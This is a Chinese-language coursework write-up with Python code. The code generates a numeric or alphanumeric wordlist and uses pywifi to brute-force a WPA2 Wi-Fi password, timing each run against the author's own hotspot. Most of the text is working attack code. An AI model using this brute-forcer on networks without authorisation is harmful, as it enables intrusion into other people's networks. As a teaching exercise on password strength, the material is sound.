1. 假設密碼(一個字符串)是不大於8位的純數字密碼,編寫程序,暴力破解該密碼,並記錄破解所使用的時間。
生成密碼本文件wifipwd.py,示例代碼如下:
# 迭代器
import itertools as itls
# 定義變量,變量的值用於生成密碼本
words = "1234"
# 生成8位的密碼
pwds = itls.product(words,repeat=8)
# 打開文件wifipwd.txt,並且指定為以a模式打開(在文件最后進行添加)
dic = open("wifipwd.txt", "a")
for pwd in pwds:
# 將密碼保存到txt文件中
dic.write("".join(pwd))
# 每一個密碼進行換行處理
dic.write("".join("\n"))
# 關閉文件
dic.close()
破解wifi密碼wifi_test.py文件,示例代碼如下:
# 測試連接,返回連接結果
def wificonnect(pwd):
# 獲取網卡接口
wifi = pywifi.PyWiFi()
# 獲取第一個無線網卡
ifaces = wifi.interfaces()[0]
# 斷開wifi連接
ifaces.disconnect()
# 睡眠
time.sleep(1)
# 獲取網卡的連接狀態
wifistatus = ifaces.status()
# 判斷是否真的斷開連接了
if wifistatus == const.IFACE_DISCONNECTED:
# print("當前未連接wifi!")
# 創建wifi鏈接文件
profile = pywifi.Profile()
# 定義要連接的wifi的名稱
profile.ssid = "lobster"
# 網卡開放
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密碼
profile.key = pwd
# 進行連接之前刪除所有的wifi連接文件
ifaces.remove_all_network_profiles()
# 設定新的鏈接文件
tcp_profile = ifaces.add_network_profile(profile)
# 新的連接文件測試連接
ifaces.connect(tcp_profile)
# wifi連接的時間
time.sleep(4)
# 連接之后,判斷狀態
if ifaces.status() == const.IFACE_CONNECTED:
# 如果連接成功了就返回True
return True
else:
return False
else:
print("當前已經連接到wifi!")
# 讀取密碼本
def readpassword():
print("已經准備好,開始破解wifi")
path = "D:\\Git02\Git01\Git02\wifi_demo\wifi_demo\wifipwd.txt"
# 以只讀的形式打開文件
file = open(path, "r")
# 打印出開始嘗試密碼連接的時間
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S" ))
while True:
try:
# readline 每次讀取一行密碼
passwd = file.readline()
# 調用wifi連接的函數
bool = wificonnect(passwd)
if bool:
print("密碼正確", passwd)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# 跳出當前循環
break
else:
print("密碼不正確!", passwd)
except:
# 跳出當前循環,進行下次循環
continue
readpassword()
假設我們的wifi密碼為11111214,運行結果如下:


由以上運行結果可以看出,密碼正確,我們的wifi已經連接成功了,並且運行時間大約為101秒。
2.將密碼設置成8位,含有數字、字母的 字符密碼,修改程序破解,記錄所用時間。
其實這里我們只需要將我們的手機熱點的密碼更改為數字和字母都有的(比如為aaaaabb2),並且將生成密碼本的wifipwd.py文件中的words改為“ab12”就可以了。再次運行wifi_test.py文件。
運行結果如下:


由以上運行結果可以看出,密碼正確,我們的wifi已經連接成功了,並且運行時間大約為121秒。
